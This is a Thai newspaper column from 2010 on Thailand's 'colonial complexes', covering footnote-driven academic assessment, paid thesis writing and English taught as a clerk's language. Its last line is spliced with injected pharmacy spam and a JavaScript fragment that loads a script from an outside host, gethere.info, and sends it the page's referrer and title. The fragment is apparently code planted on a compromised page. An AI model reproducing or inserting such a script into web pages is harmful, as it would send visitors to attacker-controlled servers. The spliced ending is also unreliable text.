มติชนรายวัน ฉบับประจำวันจันทร์ที่  01  พฤศจิกายน  2553

“ปมเด่น”ของไทย  คือ ไม่เคยเป็น“อาณานิคม”เมืองขึ้นของเจ้าอาณานิคม

ปมนี้ถูกยกให้เด่นเกินความจำเป็นอยู่บ่อยๆจนกลายเป็น“ยกตนข่มท่าน” ดูถูกเพื่อนบ้านโดยรอบ

“ปมด้อย”ของไทย คือ อยากเป็นฝรั่ง แต่ไม่ใช่ฝรั่ง อยากเก่งภาษาอังกฤษ แต่ไม่เก่ง อยากมีความคิดอิสระและก้าวหน้าอย่างฝรั่ง แต่คิดเองไม่เป็น

การแสดงออกของ“ปมด้อย” คือ ทันสมัย แต่ไร้สมอง จึงอวดรูปแบบ ไม่เอาเนื้อหา

“อวดรูปแบบ ไม่เอาเนื้อหา” ดูจากงานวิชาการให้ความสำคัญที่เชิงอรรถ หรือ foot note โดยไม่ให้ความสำคัญเนื้อหา

เนื้อหาเฮงซวยห่วยแตกอย่างไร? ลอกเลียนมาจากไหน? ฯลฯ ไม่สำคัญ ขอให้ลงเชิงอรรถถูกต้อง แม่นยำ และมากๆเข้าไว้ ถือว่าผ่านได้ แล้วอาจได้ดีเสียด้วย

เนื้อหาดีวิเศษ ไม่มีใครเคยทำมาก่อน แต่ไม่มีเชิงอรรถ เพราะไม่รู้จะอ้างอิงใคร ยังไม่มีใครเคยทำ ก็ต้องไม่ผ่าน ต้องตกไป

อาจารย์ผู้ตรวจงานบางพวกในบางคณะ บางมหาวิทยาลัย ดูแค่เชิงอรรถ           พอเห็นเชิงอรรถมีมากน่าพอใจก็ให้ผ่านได้ง่ายๆ ไม่ต้องดูเนื้อหา เพราะอาจารย์พวกนี้ไม่มีกึ๋นพอจะเป็นอาจารย์และตรวจงานวิชาการ

พฤติกรรมของคนในสังคมเป็นอย่างนี้ จึงมีอาชีพ“รับจ้างทำงานวิชาการ หรือวิทยานิพนธ์” (มีรายละเอียดดีมากๆ ในรายงานเรื่อง “เจ๊ดัน” มืออาชีพ โดย ทิพย์พิมล เกียรติวาทีรัตนะ พิมพ์ในจุดประกาย Talk กรุงเทพธุรกิจ ฉบับวันอังคารที่ 26 ตุลาคม 2553 หน้า 1)

“ทันสมัย แต่ไร้สมอง” ดูจากนโยบายการเรียนภาษาอังกฤษ

เจ้าอาณานิคมแนะนำให้คนไทยเรียนภาษาอังกฤษเพื่อเป็น“เสมียน” เครื่องมือทำงานให้ฝรั่ง

คนไทยเรียนภาษาอังกฤษเป็นเสมียน, ล่าม ก็มีปมเด่นยกตนว่าทันสมัยกว่าเพื่อนบ้าน ได้ทำงานกับฝรั่ง แต่หารู้ไม่ว่าไร้สมอง เพราะคิดเองไม่เป็น ทำอะไรไม่เป็น นอกจากเสมียน, ล่าม

ล่าสุด อยากให้การศึกษากำหนดนโยบายภาษาอังกฤษเป็น“ภาษาที่ 2” แต่กลัวคนจะหาว่าเป็นอาณานิคม นี่คือ“ปมด้อย”

โดยไม่ฉุกคิดเลยว่าภาษาอังกฤษที่เรียนมาเมื่อ 100 ปีที่แล้วจนทุกวันนี้ เป็นแบบอาณานิคม ทำให้คนเรียนสำเร็จเป็น“อาณานิคมทางปัญญา” ซึ่งอันตรายอย่างยิ่ง ดูจากวิธีคิดประวัติศาสตร์แห่งชาติของไทย ที่ล้วนบาดหมางกับเพื่อนบ้านโดยรอบตามที่เจ้าอาณานิคมกำหนด

 

(ซ้าย) พระนามบัตรเป็นภาษาอังกฤษของพระบาทสมเด็จพระจอมเกล้าเจ้าอยู่หัว รัชกาลที่ 4 (ภาพจาก มติชน ฉบับวันจันทร์ที่ 25 ตุลาคม 2553 หน้า 13)

(ขวา) พระนามบัตรเป็นภาษาอังกฤษของพระบาทสมเด็จพระปิ่นเกล้าเจ้าอยู่หัว ทรงใช้เป็นพระองค์แรก

แท้จริงแล้วชนชั้นนำสยาม เมื่อ 100 ปีที่แล้ว ตัดสินใจ“เป็นฝรั่ง” โดยที่ไม่ได้ถูกบังคับขับไสให้เป็น เพราะรู้ดีว่าจะทำให้สยามก้าวหน้า แต่แล้วชนชั้นนำไทยทุกวันนี้ อวดว่าทันสมัย แต่ไม่พัฒนาทางปัญญา เลยดัดจริตรักความเป็นไทยหัวปักหัวปำ โดยอวดว่าทันสมัย แต่หารู้ไม่ว่าไร้สมอง

แค่จะให้ภาษาอังกฤษเป็นภาษาที่ 2 ก็กลัวไม่รักชาติจนประสาทเสีย เซ็งชิบเป๋ง

มีเอกสารและคำบอกเล่าไม่น้อยว่ารัชกาลที่ 4 พระจอมเกล้า กับ พระปิ่นเกล้า ทรงตรัสภาษาอังกฤษแล้วทรงมีลายพระหัตถ์ภาษาอังกฤษ“สื่อสาร”กันเป็นส่วน          พระองค์

นี่จะถือว่าเป็นอาณานิคมหรือยัง?order forzest onlinecheap cialis jelly onlines.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;